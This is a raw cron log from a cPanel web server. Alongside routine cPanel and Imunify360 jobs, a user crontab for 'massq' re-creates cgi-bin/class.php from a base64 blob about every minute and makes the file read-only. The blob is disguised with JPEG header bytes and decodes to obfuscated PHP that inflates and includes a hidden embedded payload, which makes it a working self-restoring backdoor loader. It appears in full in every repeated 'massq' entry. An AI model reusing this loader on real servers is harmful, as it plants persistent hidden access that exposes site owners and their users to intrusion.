Sep  9 17:14:01 server CROND[32084]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 17:14:01 server CROND[32085]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 17:14:01 server CROND[32086]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 17:15:01 server CROND[32477]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 17:15:01 server CROND[32479]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 17:15:01 server CROND[32481]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 17:15:01 server CROND[32485]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  9 17:15:01 server CROND[32480]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 17:15:01 server CROND[32482]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 17:15:01 server CROND[32484]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 17:15:01 server CROND[32483]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 17:16:01 server CROND[994]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 17:16:01 server CROND[995]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 17:16:01 server CROND[996]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 17:17:01 server CROND[1476]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 17:17:01 server CROND[1477]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 17:17:01 server CROND[1478]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 17:18:01 server CROND[1845]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 17:18:01 server CROND[1846]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 17:18:01 server CROND[1847]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 17:19:01 server CROND[2297]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 17:19:01 server CROND[2299]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 17:19:01 server CROND[2298]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 17:20:01 server CROND[2757]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 17:20:01 server CROND[2758]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 17:20:01 server CROND[2762]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 17:20:01 server CROND[2768]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 17:20:01 server CROND[2773]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 17:20:01 server CROND[2772]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 17:20:01 server CROND[2770]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 17:20:01 server CROND[2774]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 17:20:01 server CROND[2771]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 17:21:02 server CROND[3667]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 17:21:02 server CROND[3668]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 17:21:02 server CROND[3669]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 17:22:01 server CROND[4255]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 17:22:01 server CROND[4256]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 17:22:01 server CROND[4257]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 17:23:01 server CROND[4691]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 17:23:01 server CROND[4692]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 17:23:02 server CROND[4693]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 17:24:01 server CROND[5115]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 17:24:01 server CROND[5116]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 17:24:01 server CROND[5117]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 17:25:01 server CROND[5546]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 17:25:01 server CROND[5562]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 17:25:01 server CROND[5561]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 17:25:01 server CROND[5567]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 17:25:01 server CROND[5563]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 17:25:01 server CROND[5565]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 17:25:01 server CROND[5564]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
